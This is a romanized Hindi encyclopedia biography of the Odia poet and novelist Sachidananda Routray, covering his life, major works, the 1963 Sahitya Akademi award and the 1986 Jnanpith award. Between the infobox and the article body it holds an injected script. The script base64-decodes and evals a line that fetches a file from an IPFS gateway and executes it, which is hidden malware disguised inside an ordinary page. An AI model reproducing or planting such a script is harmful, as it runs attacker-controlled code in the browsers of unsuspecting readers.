सच्चिदानंद राउतराय
sachchidanand rautaray
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| poora nam | sachchidanand rautaray |
| any nam | sachi rautaray |
| janm | 13 mee, 1916 |
| janm bhoomi | khurda pas guruganj, u disa |
| mrityu | 21 agast, 2004 |
| mrityu sthan | katak, u disa |
| karm bhoomi | bharat |
| karm-kshetr | u diya sahity |
| mukhy rachanaean | pathey, rakt shikha, haansat, masanir phoola, chitragriva, matir taj, baji raoot adi. |
| bhasha | u diya bhasha |
| puraskar-upadhi | jnanapith puraskar, 1986 sahity akadami puraskar, 1963 |
| prasiddhi | u diya sahityakar |
| nagarikata | bharatiy |
| vidhaean | upanyas, kavita, kahani, alochana, natak |
| any janakari | sachchidanand rautaray ko sahity ke shikhar par le jane vala ek any kavita sangrah 'pallishri' (1942) tha, jisamean u disa ke gramin jivan evan samaj se sanbandhit kavitayean haian. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>sachchidanand rautaray (aangrezi: Sachidananda Routray, janm- 13 mee, 1916; mrityu- 21 agast, 2004) u diya sahityakar the. unake dvara rachit ek kavita–sangrah 'kavita–1962' ke liye unhean san 1963 mean sahity akadami puraskar (o diya) se sammanit kiya gaya tha. inhean 1986 mean jnanapith puraskar se bhi sammanit kiya gaya. svadhinata-sangram sahit anek andolanoan mean bhag lene ke karan sachchidanand rautaray kee bar jel bhi gaye. snatak karane ke uparant bis varsh kolakata mean naukari aur phir katak mean nivas kiya.
parichay
sachchidanand rautaray ka janm 13 mee, 1916 ko u disa sthit khurda pas guruganj mean hua tha. unaki paravarish aur shiksha-diksha tatkalin bangal (vartaman mean pashchim bangal) mean huee. unhoanne golapalli ke shahi parivar ki telugoo rajakumari se shadi ki. unhone apani pahali kavita skooli chhatr ke roop mean likhi thi.[1]
12 varsh ki ayu se lekhan mean pravritt sachchidanand rautaray ka 1932 mean matr 16 varsh ki ayu mean pahala kavita sangrah 'pathey' prakashit hua. sachchidanand rautaray ki prasiddhi 1939 mean prakashit unaki lanbi kavita "baji raut" ke prakashan se huee. is kavita mean ek 12 varshiy navik balak ki shahadat ka varnan hai, jo british shasan ke virodh mean pradarshan ke dauran pulis ki goliyoan ka shikar ho gaya tha. yah pustak ek laghu mahakavy ke roop mean prakhyat huee tatha u disa ke nav yuvakoan ke lie prerana ka srot bani. 1942 mean hariandranath chattopadhyay ne baji raut tatha kuchh any kavitaoan ka aangrezi mean anuvad kiya, jisase sachchidanand rautaray ko u disa se bahar bhi khyati mili.
pragatishil rachanakaroan mean agrani
sachchidanand rautaray ko sahity ke shikhar par le jane vala ek any kavita sangrah 'pallishri' (1942) tha, jisamean u disa ke gramin jivan evan samaj se sanbandhit kavitayean haian. grami sadagi aur gramy jivan ke kavyatmak anand ko abhivyakti dene vali shreshth rachanaoan mean aj bhi in kavitaoan ki ginati ki jati hai. 'pandulipi' aur 'abhijan' jaise any kavy sangrahoan ke prakashan ke sath sachchidanand rautaray u disa mean adhunik aur pragatishil rachanakaroan mean agrani ban ge.
kary kshetr
"adhunik u diya kavita ke bhagirath" ke roop mean prakhyat sachchidanand rautaray katha-shilpi, natyakar evan sahity-manishi ki haisiyat se bhi bharatiy sahityakaroan mean agragany mane jate haian. katha-shilpi aur sahity-chiantak hone ke sath hi sahity ke kshetr mean inhone anek ne prayog kie aur phrayad tatha yuang ke manovishleshan ka u diya sahity-jagat mean pravesh karaya.
san 1935 mean prakashit unaka upanyas 'chitragriv' upanyas ka ek utkrisht udaharan hai. smaraniy hai ki vishvasahity mean ainti n aauval ka andolan bad mean shuroo hua tha. janakavi sachchidanand rautaray ne apani kahaniyoan ke lie bhi vishay aur patr janajivan se hi uthaye haian. unaki adhikatar kahaniyaan shramik, krishak tatha any pichh de vargo ke sangharshoan, abhavoan aur utpi danoan ke bare mean haian jo samasamayik jivan ki vidroopata aur vikritiyoan par tikha vyangy karati haian. unaka sahity ek kshayi samajik vyavastha ke virooddh manav-adhikaroan ka akroshi ghoshanapatr hai. vah manav-garima aur bhay-mukti ke mantradata haian. apaki sahity-sadhana ka karyakal 50 se adhik varsho ka hai.[1]
upalabdhi
sachchidanand rautaray ki sarvadhik mahatvapoorn upalabdhi yah hai ki unhone adhunik u diya kavita ko naya muhavara tatha nee sanvedana pradan ki. unaki kriti 'pandulipi' us nav kavy ki agradoot thi, jisane u diya kavita ko kavy svatantray, gady kavy aur bolachal ki bhasha jaise ne roop pradan kie. is pustak ki vidvatapoorn bhoomika mean unhoanne udiya ki nee kavita ka mahatvapoorn ghoshanapatr prastut kiya, jisamean unhone kavayik riti ke sthan par vak riti apanane ki vakalat ki hai. ne-ne kavy roopoan mean prayog karane ke sath sachchidanand rautaray ne apani kavita mean vishayoan ki vividhata ko bhi apanaya hai. praranbhik rachanaoan ki roomani bhavabhoomi se nikalakar paravarti rachanaoan mean unhoanne yatharthavad, samajavad, yahaan tak ki markasvad ko bhi sthan diya. vastav mean yah prakriti unaki prarambhik rachanaoan mean bhi parilakshit hoti thi.
kritiyaan
18 kavy-sankalan, 4 kahani-sangrah, 1 upanyas, 1 kavy-natak, sahity-samiksha ki tin pustakean tatha sahityik moolyoan par ek mahatvapoorn anusandhan kary prakashit hua.
kavy sangrah
pathey (1932), poornima (1933), rakt shikha (1939), baji raoot, abhijan (1938), haansat (1948), eshiyar svapn (1969).
katha sangrah
masanir phoola (1947), matir taj (1947), chhee (1948), chitragriva (1935).[1]
samalochana
sahity vichar aur moolyabodh (1972), adhunik sahity (1983).
samman
- padm shri, 1962
- sahity akadami puraskar, 1963
- soviyat laiand puraskar
- andhr vishvavidyalay evan brahmapur vishvavidyalay dvara d aauktaret ki manad upadhi se sammanit.
- adhyaksh, u disa sahity akadami; sadasy, philm sensar bord.
- vibhinn deshoan mean ayojit sahity-sangoshthiyoan mean pratinidhitv kiya.
- u diya kala parishad ka sansthapan.
- varsh 1986 ke jnanapith puraskar se sammanit huye.
mrityu
sachchidanand rautaray ki mrityu 21 agast, 2004 ko katak, u disa mean huee.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 jivan parichay aur rachana sansar : sachchidanand rautaray (hiandi) hindikahani.hindi-kavita.com. abhigaman tithi: 30 sitanbar, 2021.
sanbandhit lekh
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